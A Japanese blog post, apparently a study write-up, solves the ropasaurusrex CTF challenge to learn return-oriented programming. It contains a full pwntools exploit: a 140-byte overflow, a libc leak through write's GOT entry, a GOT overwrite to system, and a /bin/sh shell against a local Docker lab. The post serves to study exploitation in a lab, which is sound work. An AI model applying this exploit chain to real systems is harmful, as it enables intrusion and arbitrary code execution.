僕はROPが理解出来ない(はがない)

※本記事は合ってるかどうか保証出来かねます。また、発言は個人の意見です。

pwnをする上で最低限必要とされてるROPが理解出来なかったのでROP学習の定番ropasaurusrexをなぞってROPを学習する。

結局何が理解出来なかったのかというと

  • pwn → わかる
  • ガジェット → わかる
  • ガジェットの使い方 → 分からない
  • /bin/shの呼び方 → ガジェットの使い方がわからないため当然分からない

といった状況だった。

rp++とかして出てきたガジェットをどれを使っていいかわからず悩んでいた。 で、結局のところ何ができるかというと次のことが出来ると理解した。

ROPはEIPを得たあとreturnを繰り返してガジェットを実行していく。 色々と省略してるが次のようなコードになると思う。

payload += pack(pop_eax_ret) # pop eax; ret;
payload += pack(1)
r.send(payload)

のような形で使用するとレジスタに好きな値を入力出来る。

pop eax; ret; pop ebx; ret; mov [eax], ebx ret

とつなげればeaxにアドレスをpopしてebxに値を入力することでeaxに書き込むことが出来る。

payload += pack(pop_eax_ret) #  pop eax; ret;
payload += pack(addr) # 0xcafebebe
payload += pack(pop_ebx_ret)  # pop ebx; ret;
payload += pack(1)
payload += pack(mov_eax_ebx) # mov [eax], ebx; ret;
r.send(payload)

returnで制御を移していくのはわかったが、何が出来ると思っていた。 自分の理解している範囲ではレジスタに値をセットすることで引数を設定してpltやsystem callをして 書き込み可能領域に/bin/shを書き込んだりreadでshellcodeを読み込んだりするということ。

自分で言ってて何を言っているかわからないが続ける。

例えばreadを呼び出すときの引数を設定することが出来る。 引数は以下のように設定するらしい。

  • 32bit
  • EBX, ECX, EDX, ESI, EDI, EBP
  • 64bit
  • RDI, RSI, RDX, R10, R8, R9

左から第一引数、第二引数・・・ 本当にこのレジスタではないといけないかこれが分からない。 見にくいと思うので引用元の表を参考にしてほしい。

crypto.stanford.edu

ここでSystem callのread関数を見る。

ssize_t read(int fd, void *buf, size_t count);

read (system call) - Wikipedia

つまりread(ebx, ecx, edx)と引数を設定出来る。(と思う。) これを利用してwriteで書き込み可能領域に/bin/shを作ったり、readで読み込んだりするのがROP(だと思う。)

katagaitai CTF勉強会 #2 pwnables編 - PlaidCTF 2013 pwn200 ropasaurusrex / katagaitai CTF #2 - Speaker Deck を見ながらropasaurusrexを解いていく。

その前に環境を準備する。

ropasaurusrexはDockerでイメージが公開されているのでそれを使用させてもらう。

https://github.com/adamdoupe/ctf-training/tree/master/ropasaurusrex

この記事ではWindowsにてDocker Toolboxを使用したVitualbox上にてコンテナを実行する。(Dockerも理解していない。)

f:id:Yunolay:20190120182519j:plain

git clone https://github.com/adamdoupe/ctf-training
docker run -p 127.0.0.1:31337:31337 -it adamdoupe/ropasaurusrex

f:id:Yunolay:20190120183036p:plain

この環境では192.168.99.102:32781で起動している。 以下でサーバ側のプログラムを実行する。

root@b6ba0896e506:/challenge# ls
challenge  challenge.conf  flag  run_xinetd.sh
root@b6ba0896e506:/challenge# chmod +x run_xinetd.sh
root@b6ba0896e506:/challenge# ./run_xinetd.sh
Running succesfully, go forth and hack!

これでnc 192.168.99.102 32781で接続出来るようになった。 接続すると入力が出来る。

EIPを奪うまでは省略するが、offset 140でEIPを奪うことができる。

gdb-peda$ pattc 256
(snip)
EIP: 0x41416d41 ('AmAA')
gdb-peda$ patto AmAA
AmAA found at offset: 140

ここから/bin/shを起動するためにROPする。

まずはelf, libcから情報収集をする。

書き込み可能領域の調査

readelf -a ropasaurusrex
  [24] .data             PROGBITS        08049620 000620 000008 00  WA  0   0  4

plt, gotテーブル

objdump -d -M intel ropasaurusrex
0804830c <write@plt>:
804830c:       ff 25 14 96 04 08       jmp    DWORD PTR ds:0x8049614

0804832c <read@plt>:
804832c:       ff 25 1c 96 04 08       jmp    DWORD PTR ds:0x804961c

libc

ldd ropasaurusrex
libc.so.6 => /lib32/libc.so.6 (0xf7567000)

readelf -s libc.so.6 | grep system
1457: 0003ada0    55 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.0

readelf -s libc.so.6 | grep write
2323: 000d59f0   101 FUNC    WEAK   DEFAULT   13 write@@GLIBC_2.0

ローカルエクスプロイトでは/lib32/libc.so.6を使用する。 リモートエクスプロイトでは今回はlibc.so.6が与えられているのでそちらからoffsetを計算する。

ROPガジェット

rp --file ropasaurusrex --unique --rop 3 | grep pop
0x080484b6: pop esi ; pop edi ; pop ebp ; ret  ;  (1 found)

pop3のガジェットを使用することで一度に3つのレジスタに入力出来る。

katagaitai CTF勉強会 #2 pwnables編 - PlaidCTF 2013 pwn200 ropasaurusrex / katagaitai CTF #2 - Speaker Deck では次の順でROPしていた。

  1. writeを使用してwriteのgot addressのリーク
  2. リークしたwirteのgot addressからlibc baseとlibcのsystemを計算
  3. readを使用して.dataセクションに'/bin/sh\0'を書き込み
  4. readを使用してwriteのplt addressをlibc_systemに上書き
  5. system("/bin/sh")を呼ぶ # write("/bin/sh")

コードにすると次のようなpayloadになる。

'A' * 140
write(1, addr_got_write, 4) # STDOUT
read(0, addr_data, 8) # STDIN
read(0, addr_got_write, 4) # STDIN, Overwrite got write
write(addr_data) # system("/bin/sh\0")
0xcafebebe # ebp

bufはいいとしてEIPを取ってからどう制御するか考える。 まずはwrite(1, addr_got_write, 4)を呼び出す。 writeを呼び出すにはpltのwriteを使用してpop3retで引数を設定する。

# write (system call)
# https://en.wikipedia.org/wiki/Write_(system_call)
# ssize_t write(int fd, const void *buf, size_t nbytes);

# write(1, addr_got_write, 4)
payload += pack(addr_plt_write)
payload += pack(addr_pop3ret)
payload += pack(1) # arg1 : fd
payload += pack(addr_got_write) # arg2 : *buf
payload += pack(4) # arg3 : nbytes

これでwriteのgotアドレスが出力されたので libc baseを計算してlibc systemを計算する。

libc_write = unpack(r.recv(4))
libc_base = libc_write - offset_write
libc_system = libc_base + offset_system
log.info('libc base addr : %x' %libc_base)
log.info('libc system addr : %x' %libc_system)

次にread(0, addr_data, 8)で.dataセグメントに/bin/shの文字列を作成する。

# read(0, addr_data, 8) # "/bin/sh\0 > .data"
payload += pack(addr_plt_read)
payload += pack(addr_pop3ret)
payload += pack(0) # arg1 : fd
payload += pack(addr_data) # arg2 : *buf
payload += pack(8) # arg3 : count

r.send('/bin/sh\0')することで/bin/sh\0が書き込まれる。

同様に以下のコードを書く。 4. readを使用してwriteのplt addressをlibc_systemに上書き 5. system("/bin/sh")を呼ぶ # write("/bin/sh")

最終的には次のようなコードになる。

# exploit.py

from pwn import *

# file ropasaurusrex
# ropasaurusrex: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV),
# dynamically linked (uses shared libs), for GNU/Linux 2.6.18,
# BuildID[sha1]=96997aacd6ee7889b99dc156d83c9d205eb58092, stripped

context(arch = 'i386', os = 'linux')
# context.log_level = 'debug'

# https://github.com/adamdoupe/ctf-training/tree/master/ropasaurusrex

elf = ('./ropasaurusrex')
libc = ('./libc.so.6')

# docker run -p 127.0.0.1:31337:31337 -it adamdoupe/ropasaurusrex
# ./run_xinetd.sh

r = remote('192.168.99.102', 32781)
# r = process('./ropasaurusrex')

# readelf -a ropasaurusrex
#   [24] .data             PROGBITS        08049620 000620 000008 00  WA  0   0  4

addr_data = 0x08049620

# objdump -d -M intel ropasaurusrex
# 0804830c <write@plt>:
#  804830c:       ff 25 14 96 04 08       jmp    DWORD PTR ds:0x8049614
#
# 0804832c <read@plt>:
#  804832c:       ff 25 1c 96 04 08       jmp    DWORD PTR ds:0x804961c

addr_plt_write = 0x0804830c
addr_got_write = 0x08049614
addr_plt_read = 0x0804832c
addr_got_read = 0x0804961c

# ldd ropasaurusrex
# libc.so.6 => /lib32/libc.so.6 (0xf7567000)
#
# readelf -s libc.so.6 | grep system
# 1457: 0003ada0    55 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.0
# 
# readelf -s libc.so.6 | grep write
# 2323: 000d59f0   101 FUNC    WEAK   DEFAULT   13 write@@GLIBC_2.0

offset_system = 0x0003ada0
offset_write = 0x000d59f0

# rp --file ropasaurusrex --unique --rop 3 | grep pop
# 0x080484b6: pop esi ; pop edi ; pop ebp ; ret  ;  (1 found)

addr_pop3ret = 0x080484b6

# EIP: 0x41416d41 ('AmAA')
#
# gdb-peda$ patto AmAA
# AmAA found at offset: 140

# write (system call)
# https://en.wikipedia.org/wiki/Write_(system_call)
# ssize_t write(int fd, const void *buf, size_t nbytes);
#
# read (system call)
# https://en.wikipedia.org/wiki/Read_(system_call)
# ssize_t read(int fd, void *buf, size_t count);

# ROP chain
# 'A' * 140
# write(1, addr_got_write, 4) # STDOUT
# read(0, addr_data, 8) # STDIN
# read(0, addr_got_write, 4) # STDIN, Overwrite got write
# write(addr_data) # system("/bin/sh\0")
# 0xcafebebe # ebp

payload = 'A' * 140

# write(1, addr_got_write, 4)
payload += pack(addr_plt_write)
payload += pack(addr_pop3ret)
payload += pack(1) # arg1 : fd
payload += pack(addr_got_write) # arg2 : *buf
payload += pack(4) # arg3 : nbytes

# read(0, addr_data, 8) # "/bin/sh\0 > .data"
payload += pack(addr_plt_read)
payload += pack(addr_pop3ret)
payload += pack(0) # arg1 : fd
payload += pack(addr_data) # arg2 : *buf
payload += pack(8) # arg3 : count

# read(0, addr_got_write, 4)
payload += pack(addr_plt_read)
payload += pack(addr_pop3ret)
payload += pack(0) # arg1 : fd
payload += pack(addr_got_write) # arg2 : *buf
payload += pack(4) # arg3 : count

# system("/bin/sh\0")
payload += pack(addr_plt_write)
payload += pack(0xcafebebe) # ebp
payload += pack(addr_data) # "/bin/sh\0"

r.send(payload)

# write(1, addr_got_write, 4)
# Leak offset_write of libc
# Calc libc_base and libc_system
libc_write = unpack(r.recv(4))
libc_base = libc_write - offset_write
libc_system = libc_base + offset_system
log.info('libc base addr : %x' %libc_base)
log.info('libc system addr : %x' %libc_system)

# read(0, addr_data, 8) # "/bin/sh\0 > .data"
r.send('/bin/sh\0')
# read(0, addr_got_write, 4)
r.send(pack(libc_system))

r.interactive()

実行することでシェルが実行できてフラグが取れる。 f:id:Yunolay:20190120190745p:plain

参考にしました